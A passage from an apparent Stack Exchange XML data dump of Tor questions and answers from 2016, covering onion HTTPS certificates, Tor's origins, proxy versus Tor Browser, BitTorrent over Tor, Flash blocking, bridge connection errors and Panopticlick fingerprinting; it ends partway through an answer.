  <row Id="10684" PostTypeId="1" CreationDate="2016-06-04T15:03:15.850" Score="3" ViewCount="2814" Body="&lt;p&gt;I have setup a Tor Hidden Service, and have the .onion domain. I wish to setup HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am using a self signed cert when a user visits my site they get a warning, which is extremely off putting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen many Tor sites using HTTPS which do not get any warnings.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Where can I get a certificate which allows .onion addresses? I tried using free Letsencrypt but they do not allow .onion domains yet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know HTTPS is not really necessary due to the amount of security already used on Tor, however I do like the extra protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="13120" LastActivityDate="2020-12-03T19:24:43.567" Title="SSL certificate for Tor" Tags="|tor-browser-bundle|https|ssl|certificate|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10690" PostTypeId="1" CreationDate="2016-06-04T21:19:27.403" Score="1" ViewCount="93" Body="&lt;p&gt;It is my understanding that TOR was actually created by the CIA, either directly or through some non-governmental entity.  I get this information from a reliable source that has a background with the CIA.  Given that you promote your site as being anonymous, I question how this be the case.  If the CIA created this to track terrorists or other persons of interest, how can it really be anonymous?&lt;/p&gt;&#xA;" OwnerUserId="13126" LastActivityDate="2016-06-05T00:22:46.277" Title="TOR Anonymity Query" Tags="|security|" AnswerCount="1" CommentCount="0" ClosedDate="2016-06-09T13:26:33.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="10691" PostTypeId="1" CreationDate="2016-06-04T21:29:05.173" Score="3" ViewCount="2434" Body="&lt;p&gt;I have done some research on Tor the past few months, trying to learn more about it's infrastructure, and have been successful for the most part. However, there is something that I can't seem to find out...&#xA;I use Linux primarily due to it's efficiency in the fields of cryptography and anonymity, of which I am fascinated by. One thing I found quickly in my distro's repositories is the tor and the torbrowser-launcher packages.&#xA;Using Tor as a SOCKS proxy is, although still effective, differing slightly in ways that I can't wrap my head around from the Tor Browser Bundle.&#xA;I feel like this is a simply question, but I can't find the answer to it anywhere I've looked, so I've come here to ask.&#xA;While using the Tor proxy (utilizing the NetworkManager to route traffic through Tor while using the &quot;tor&quot; command in a separate pts), I realized that I was unable to access .onion sites using a traditional browser (Chromium or Iceweasel) although my traffic was still routed through Tor. This is confusing to me, because there shouldn't be any difference between using the Tor Browser and the Tor proxy with a separate browser. They both have access to the same Tor introduction nodes.&#xA;So why is it that the Tor Browser can access these hidden services and the Tor proxy cannot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I apologize if I have misconceptions about the network. I'm only 15, I don't expect to be able to have all the information of one of the most mysterious networks on the planet packed into my mind)&lt;/p&gt;&#xA;" OwnerDisplayName="user13128" LastActivityDate="2016-06-06T19:01:26.307" Title="What's the difference between the Tor proxy and the Browser Bundle?" Tags="|tor-browser-bundle|onion-services|onion-routing|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10692" PostTypeId="2" ParentId="10691" CreationDate="2016-06-04T23:59:47.320" Score="2" Body="&lt;p&gt;&lt;code&gt;Tor Browser&lt;/code&gt; is a patched version of &lt;code&gt;Firefox&lt;/code&gt; that is maintained and distributed by the Tor Project, it includes a copy of &lt;code&gt;Tor&lt;/code&gt; which is launches itself when its started. Tor Browser should be prefered over any other browser, part of it's design is to ensure that it won't accidentally send traffic outside of Tor. Your proxy settings on gnome or firefox for example, may be ignored and connections may be outside of Tor which could reveal to an observer what you're doing on Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inability to view onions may be related to the problems of proxy obedeince mentioned before, Chromium could be asking your upstream DNS server to resolve the onions rather than using Tor's SOCKS proxy to make the connections, and therefor telling your upstream DNS server what onion sites you are trying to visit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;Tor Browser's design spec&lt;/a&gt; is technical but will give you an idea of some of the problems that trying to make something like Chromium use Tor might result in. If you want to use a fully torified environment from within a gnome desktop you should consider using &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; as this is configured to be resistant to similar leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should probably be noted too that &lt;code&gt;torbrowser-launcher&lt;/code&gt; is a different application again, it is a python script maintained by Micah Lee that automates the process of fetching, verifying and extracting the Tor Browser and also provides an apparmor profile for it (to help reduce the impact of it ever being hacked)&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-04T23:59:47.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10693" PostTypeId="2" ParentId="10690" CreationDate="2016-06-05T00:06:15.857" Score="6" Body="&lt;p&gt;Your &quot;source&quot; at the &quot;CIA&quot; (i.e. your &quot;friend&quot; with the tinfoil hat (i.e. you)) is wrong. It was created by the US Naval Research Lab, some of whom are still active within the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not secret information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is noted in the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#WhyCalledTor&quot;&gt;Tor Project's FAQ&lt;/a&gt; and even in the &lt;a href=&quot;https://en.wikipedia.org/wiki/United_States_Naval_Research_Laboratory#Electronic_warfare_and_information_security&quot;&gt;US Naval Research Lab's Wikipedia entry&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-05T00:22:46.277" LastActivityDate="2016-06-05T00:22:46.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11693" PostTypeId="1" CreationDate="2016-06-05T17:54:54.750" Score="1" ViewCount="129" Body="&lt;p&gt;My Bank...  stopped opening with Tor since Ver 5.5. and still does not work with Ver 6.0...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does connect ... but will not display the page.  Then upon  retry, get a Tor error that says Server takes too long to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im a novice with Tor... User..not developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What data do I need to find to send along for anaylsis?&#xA;The full path is ... &lt;a href=&quot;https://www.regions.com/personal_banking.rf&quot; rel=&quot;nofollow&quot;&gt;https://www.regions.com/personal_banking.rf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW all my other sites work fine... eg... Fidelity.com, Capitalone.com, , Optumrx.com, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also BTW.. inorder to have safari to access Tor.com, I had to disable my DNS &lt;/p&gt;&#xA;" OwnerUserId="12598" LastEditorUserId="12598" LastEditDate="2016-06-05T18:02:38.597" LastActivityDate="2016-06-05T18:02:38.597" Title="My Bank WILL NOT accept TOR... For past 3 months" Tags="|configuration|" AnswerCount="0" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="11695" PostTypeId="1" CreationDate="2016-06-05T23:57:03.633" Score="3" ViewCount="1775" Body="&lt;p&gt;Using BitTorrent over Tor is said to slow down the whole network because it can't handle the load. The Tor Project discourages it for this reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the main issue with BitTorrent over Tor, and why is it worse than downloading a large file from a website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is a different circuit built for each peer, and is this the reason? Is it possible to configure Tor to use only one circuit at a time, and would this help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's not focus on the issue of BitTorrent leaking IP, this can be avoided with proper configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would reducing the number of relays in the circuit used for BitTorrent to 2 help? This may not be good for anonymity, but it may be the best tradeoff. I'm not sure whether it is possible to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, would limiting the download and upload speeds in the BitTorrent client help?&lt;/p&gt;&#xA;" OwnerUserId="13138" LastActivityDate="2016-06-06T21:37:59.223" Title="Is it possible to use BitTorrent over Tor without harming the network?" Tags="|configuration|bittorrent|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11696" PostTypeId="2" ParentId="11695" CreationDate="2016-06-06T01:22:55.047" Score="1" Body="&lt;p&gt;A new circuit may be built for each peer, this depends on your isolation flags, but it probably isn't going to help much to only use a single circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The bittorrent protocol would not work over Tor, bittorrent is intended to be peer-to-peer. If everyone used bittorrent over tor no one would share data, only leech, you'd be better just downloading from a single source (https, sftp, scp, etc.) at that point. You could request chunks from other peers and seeds but they've no way of requesting them back from you, which brings us to the second the problem...&lt;/li&gt;&#xA;&lt;li&gt;The bittorrent protocol involves you publishing your IP to the swarm since it is expected that you will share back to others who need the data that you have. As such most clients will happily tell everyone else where you are, even if you're pulling the data down through Tor (&quot;proper configuration&quot; or not you should be concerned about this, the protocol is designed &lt;em&gt;not&lt;/em&gt; to be used anonymously).&lt;/li&gt;&#xA;&lt;li&gt;There are problems with the algorithm which is used to decide how much bandwidth to use, &lt;a href=&quot;https://youtu.be/xGIE7KTJiBY?t=3400&quot; rel=&quot;nofollow&quot;&gt;isis gives a brief overview of this problem (and the first two points) in a lecture she recently gave&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Many exits do not have exit policies that would allow you to connect to most other bittorrent clients, reducing your ability to actually retrieve data from them. See the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ReducedExitPolicy&quot; rel=&quot;nofollow&quot;&gt;Reduced Exit Policy&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If your threat model is the MAFIAA then a VPN probably provides sufficient protection, if you require better protection than that then you should probably not be using bittorrent at all.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-06T01:22:55.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11697" PostTypeId="1" CreationDate="2016-06-06T03:33:46.587" Score="1" ViewCount="58" Body="&lt;p&gt;I've tried to play some games that need the Adobe Flash Player but they don't load. I'd like to stay anonymous but also play those games.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't the Tor Browser run Adobe Flash Player?&lt;/p&gt;&#xA;" OwnerUserId="13139" LastEditorUserId="12013" LastEditDate="2016-06-07T07:33:26.993" LastActivityDate="2016-06-07T07:33:26.993" Title="Why can't the Tor Browser run Adobe Flash Player?" Tags="|anonymity|tor-browser-bundle|plugin|flash|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-06-07T07:36:02.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="11698" PostTypeId="1" CreationDate="2016-06-06T03:47:54.633" Score="1" ViewCount="8" Body="&lt;p&gt;I have tried using Bridges and all i get is this report:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;02/06/2016 19:46:45 p.m..800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;02/06/2016 19:46:48 p.m..700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;02/06/2016 19:46:55 p.m..700 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;02/06/2016 19:46:55 p.m..700 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;02/06/2016 19:46:55 p.m..800 [WARN] Proxy Client: unable to connect to 154.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:46:55 p.m..800 [WARN] Proxy Client: unable to connect to 154.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:46:55 p.m..900 [WARN] Proxy Client: unable to connect to 192.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:46:56 p.m..000 [WARN] Proxy Client: unable to connect to 198.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:46:56 p.m..000 [WARN] Proxy Client: unable to connect to 154.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:47:10 p.m..100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;02/06/2016 19:47:10 p.m..100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;02/06/2016 19:47:10 p.m..100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;02/06/2016 19:47:27 p.m..800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;02/06/2016 19:47:34 p.m..800 [WARN] Proxy Client: unable to connect to 154.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:47:34 p.m..800 [WARN] Proxy Client: unable to connect to 154.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:47:34 p.m..800 [WARN] Proxy Client: unable to connect to 192.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:47:34 p.m..800 [WARN] Proxy Client: unable to connect to 154.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:47:34 p.m..800 [WARN] Proxy Client: unable to connect to 198.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:47:55 p.m..600 [WARN] Proxy Client: unable to connect to 83.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:47:55 p.m..700 [WARN] Proxy Client: unable to connect to 154.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:47:55 p.m..700 [WARN] Proxy Client: unable to connect to 109.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:47:55 p.m..700 [WARN] Proxy Client: unable to connect to 109.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 19:47:55 p.m..700 [WARN] Proxy Client: unable to connect to 104.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 20:02:34 p.m..700 [WARN] Proxy Client: unable to connect to 192.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 20:02:34 p.m..700 [WARN] Proxy Client: unable to connect to 154.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 20:02:34 p.m..800 [WARN] Proxy Client: unable to connect to 198.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 20:02:34 p.m..800 [WARN] Proxy Client: unable to connect to 154.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 20:02:34 p.m..800 [WARN] Proxy Client: unable to connect to 154.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 20:02:55 p.m..600 [WARN] Proxy Client: unable to connect to 109.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 20:02:55 p.m..600 [WARN] Proxy Client: unable to connect to 83.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 20:02:55 p.m..600 [WARN] Proxy Client: unable to connect to 109.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 20:02:55 p.m..600 [WARN] Proxy Client: unable to connect to 104.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 20:02:55 p.m..600 [WARN] Proxy Client: unable to connect to 154.*.*.*:* (&quot;general SOCKS server failure&quot;) &#xA;02/06/2016 20:12:55 p.m..800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;02/06/2016 20:12:55 p.m..800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;02/06/2016 20:12:55 p.m..800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13140" LastEditorUserId="13178" LastEditDate="2016-06-08T06:54:09.110" LastActivityDate="2016-06-08T06:54:09.110" Title="Tor is not connecting on windows 7" Tags="|censorship|firewall|blocked|" AnswerCount="0" CommentCount="1" ClosedDate="2016-06-09T13:23:58.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="11699" PostTypeId="2" ParentId="3931" CreationDate="2016-06-06T06:13:20.043" Score="4" Body="&lt;p&gt;The Tor developers explain this on the &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow&quot; title=&quot;The Tor Project Website&quot;&gt;Tor Project website&lt;/a&gt;. I am going to include the quotes at the end of this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser is a browser designed for anonymous communication. To ensure the users' privacy, Tor's developers decided to block many browser plugins like Flash or Quicktime. These plugins were not developed with security in mind, and can leak information (e.g. IP) about the users. These plugins represent an unnecessary threat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flash has been criticized a lot recently, due to its security flaws. The Hacking Team 2015 data breach&lt;sup&gt;1&lt;/sup&gt; revealed several 0day cross-platform Flash exploits. (&lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0349&quot; rel=&quot;nofollow&quot; title=&quot;CVE-2015-0349&quot;&gt;CVE-2015-0349&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5119&quot; rel=&quot;nofollow&quot; title=&quot;CVE-2015-5119&quot;&gt;CVE-2015-5119&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-5122&quot; rel=&quot;nofollow&quot; title=&quot;CVE-2015-5122&quot;&gt;CVE-2015-5122&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5123&quot; rel=&quot;nofollow&quot; title=&quot;CVE-2015-5123&quot;&gt;CVE-2015-5123&lt;/a&gt;.) This shows how unreliable the Flash plugin is, and highlights the developers' decision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if, as far as I know, you &lt;em&gt;can&lt;/em&gt; run the Flash plugin in the Tor Browser, I would strongly advise against running it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;sup&gt;1&lt;/sup&gt; 400 GB of data leaked;&lt;br&gt;&#xA;Hacking Team is an Italian company specialized in offensive intrusion and the development of surveillance tools, selling them to governments.&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Explained in the Tor FAQ:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Why can't I view videos on some Flash-based sites?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Some sites require third party browser plugins such as Flash. Plugins&#xA;  operate independently from Firefox and can perform activity on your&#xA;  computer that ruins your anonymity. This includes but is not limited&#xA;  to: completely disregarding proxy settings, querying your &lt;a href=&quot;http://forums.sun.com/thread.jspa?threadID=5162138&amp;amp;messageID=9618376&quot; rel=&quot;nofollow&quot; title=&quot;Flash - local IP address&quot;&gt;local IP&#xA;  address&lt;/a&gt;, and &lt;a href=&quot;https://epic.org/privacy/cookies/flash.html&quot; rel=&quot;nofollow&quot; title=&quot;Flash cookies&quot;&gt;storing their own cookies&lt;/a&gt;. It is possible to use a LiveCD&#xA;  solution such as or &lt;a href=&quot;https://tails.boum.org&quot; rel=&quot;nofollow&quot; title=&quot;Tails website&quot;&gt;The Amnesic Incognito Live System&lt;/a&gt; that creates a&#xA;  secure, transparent proxy to protect you from proxy bypass, however&#xA;  issues with local IP address discovery and Flash cookies still remain.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;sup&gt;Source: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBFlash&quot; rel=&quot;nofollow&quot; title=&quot;Why can&amp;#39;t I view videos on Flash-based sites&quot;&gt;&lt;strong&gt;Why can't I view videos on some Flash-based sites?&lt;/strong&gt; - Tor FAQ&lt;/a&gt;&lt;/sup&gt;&lt;br&gt;&#xA;  &lt;sup&gt;&lt;em&gt;Note: the first link is dead and redirects you to Oracle homepage.&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Repeated in the download page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;c. Don't enable or install browser plugins&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The Tor Browser will block browser plugins such as Flash, RealPlayer,&#xA;  Quicktime, and others: they can be manipulated into revealing your IP&#xA;  address. Similarly, we do not recommend installing additional addons&#xA;  or plugins into the Tor Browser, as these may bypass Tor or otherwise&#xA;  harm your anonymity and privacy.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;sup&gt;Source: &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot; title=&quot;Want Tor to really work? - Download Tor&quot;&gt;&lt;strong&gt;Want Tor to really work?&lt;/strong&gt; - Download Tor&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12013" LastActivityDate="2016-06-06T06:13:20.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11701" PostTypeId="1" AcceptedAnswerId="11705" CreationDate="2016-06-06T11:20:10.070" Score="3" ViewCount="2147" Body="&lt;p&gt;Yesterday I put some effort into getting the best &quot;score&quot; I can on Panopticlick. The following is my result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mxv9N.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mxv9N.png&quot; alt=&quot;panopticlick result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did several things to get the lowest numbers for &quot;unique in x browsers&quot;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I looked up what the most common screen resolution is and set my browser to it. It's not the default setting of the TOR browser though.&lt;/li&gt;&#xA;&lt;li&gt;I've tried several user agent strings and it seems an empty string is way better than others.&lt;/li&gt;&#xA;&lt;li&gt;I deactivated WebGL, so that the WebGL canvas thing cannot be used.&lt;/li&gt;&#xA;&lt;li&gt;I got an addon to block HTML5 canvas and that asks me whenever someone tries to use HTML5 canvas on a site - shocking how often that is! But when I use it consequently on panopticlick, the test stops working at the last step, not letting me see the results, so that is not included in the screenshots. (Is there a better way to test my &quot;uniqueness&quot; somewhere?)&lt;/li&gt;&#xA;&lt;li&gt;I can deactivate the JS, but then I'd not see the information about all the things, which can be exploited when I have JS on, so that's also not in the screenshot.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, despite all this effort, it seems I am still unique in 145k browsers. If I am still a unique profile, then all the confusion created by the TOR network is for naught, if someone really wanted to track me. If I multiply those &quot;unique in x browsers&quot; numbers together, I'd get the combined &quot;uniqueness&quot; when someone considers really all of the listed things there. The number is still sooooo high, I am still far from a not unique fingerprint. Now the question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I still improve this? If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for everyone else I hope you have use for this configuration and that it helps you.&lt;/p&gt;&#xA;" OwnerUserId="13143" LastActivityDate="2016-06-07T00:30:30.760" Title="Most common TOR browser configuration - panopticlick" Tags="|tor-browser-bundle|fingerprinting|panopticlick|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11702" PostTypeId="2" ParentId="2201" CreationDate="2016-06-06T11:31:38.350" Score="0" Body="&lt;p&gt;The accepted answer is only partly correct. Such fingerprinting data is common to be sold to others by tracking websites. It's a real market out there. So in the first step your data on an HTTPS connection might only be at that server, but whoever is behind that server might decide to sell you to the highest bidder.&lt;/p&gt;&#xA;" OwnerUserId="13143" LastActivityDate="2016-06-06T11:31:38.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11703" PostTypeId="1" CreationDate="2016-06-06T13:36:39.107" Score="0" ViewCount="971" Body="&lt;p&gt;I checked for open ports using GRC Shields Up website, obtaining a perfect stealth score on the following platforms and browsers (latest version of each one up to 06/06/2016):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows 7: IE, Chrome, Firefox, Firefox Dev Edition, Opera, Opera Beta, Comodo Dragon, Ice Dragon, Chromodo, Vivaldi, Pale Moon, Torch.&#xA;They all also passed the Reverse DNS test.&#xA;Also the DNS leak test always worked properly with fine results.&lt;/li&gt;&#xA;&lt;li&gt;iOs 7.1.2: Safari and Chrome. No port responded but Reverse DNS failed.&lt;/li&gt;&#xA;&lt;li&gt;Android 4.4.2: Firefox. Same as iOs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then I tried to use GRC tests on Tor Browser on Windows 7 with active and configured Windows Firewall and Comodo Firewall.&#xA;As a result I got a failed Reverse DNS test (which of course did not point to my ISP) and for the ports test it says that port 80 and port 443 are open.&#xA;Also DNS leak test did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: why on every browser and system i checked, my ports are always stealth and non responsive but when i check Tor, 2 of them are plain open?&#xA;Is it normal?&#xA;Is it some kind of vulnerability?&#xA;Does it vary depending on the exit node configuration and can i do or should do something about that?&lt;/p&gt;&#xA;" OwnerUserId="13145" LastEditorUserId="88" LastEditDate="2016-06-07T07:22:49.473" LastActivityDate="2016-06-07T07:22:49.473" Title="Open ports in Tor Browser vs other browsers" Tags="|tor-browser-bundle|anonymity|security|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11704" PostTypeId="1" CreationDate="2016-06-06T14:18:44.830" Score="1" ViewCount="12" Body="&lt;p&gt;Tried to set up latest Tor with bridges. Obtained three bridges from the tor-bridges site. Input those into the empty box under Custom Bridges. Ran through other settings when Tor was up and functional. Selected &quot;Use hardware acceleration when available&quot; When I restarted Tor, it could never start, had an APPCRASh and would shut down. Went back and unselected the hardware acceleration....that allowed the Tor browser to start, but the onion has a red x on it. Copied this from the start up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6/6/2016 9:59:17 AM.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;6/6/2016 9:59:17 AM.500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;6/6/2016 9:59:17 AM.600 [WARN] Proxy Client: unable to connect to 192.36.31.117:54458 (&quot;general SOCKS server failure&quot;) &#xA;6/6/2016 9:59:18 AM.400 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;6/6/2016 9:59:18 AM.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;6/6/2016 9:59:18 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;6/6/2016 9:59:18 AM.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;6/6/2016 9:59:18 AM.400 [WARN] Problem bootstrapping. Stuck at 15%: Establishing an encrypted directory connection. (DONE; DONE; count 1; recommendation warn; host 895736BD379E216C789E2EB96914A1BDDFAB0E31 at 194.132.209.225:56635) &#xA;6/6/2016 9:59:18 AM.400 [WARN] 2 connections have failed: &#xA;6/6/2016 9:59:18 AM.400 [WARN]  1 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;6/6/2016 9:59:18 AM.400 [WARN]  1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;6/6/2016 9:59:18 AM.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;6/6/2016 9:59:18 AM.600 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="13147" LastEditorUserId="88" LastEditDate="2016-06-08T07:03:08.593" LastActivityDate="2016-06-08T07:03:08.593" Title="Cannot Start Tor" Tags="|bridge|" AnswerCount="0" CommentCount="2" ClosedDate="2016-06-08T07:03:24.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="11705" PostTypeId="2" ParentId="11701" CreationDate="2016-06-06T16:14:14.013" Score="7" Body="&lt;p&gt;This approach of trying to shoehorn yourself into the middle of the bellcurve is ultimately destined to fail. Part of the problem is that you seem to be viewing each part of the various things they fingerprint on as a distinct challenge to approach and try and sit in the middle of the bellcurve of for &lt;em&gt;all&lt;/em&gt; browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, an observer &lt;em&gt;knows&lt;/em&gt; you're using Tor Browser, Panopticlick is measuring how unique your own Tor Browser is against the set of all browser. You should instead be considering how you look amongst all other Tor Browser users. You are adding granularity to a previously smooth surface of Tor Browser users, you stand out from other Tor Browser users rather than blend in with them, with every change you make.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While fingerprinting methods like Canvas, AudioContext and other features might leak information about configuration specifics and need to be addressed with patching or being disabled making your own &lt;em&gt;&quot;special snowflake&quot;&lt;/em&gt; changes might make panopticlick &lt;em&gt;say&lt;/em&gt; your browser is less unique amongst the set of &lt;em&gt;all browsers&lt;/em&gt; in truth you're making yourself stand out from the set of &lt;em&gt;Tor Browsers&lt;/em&gt; and harming your 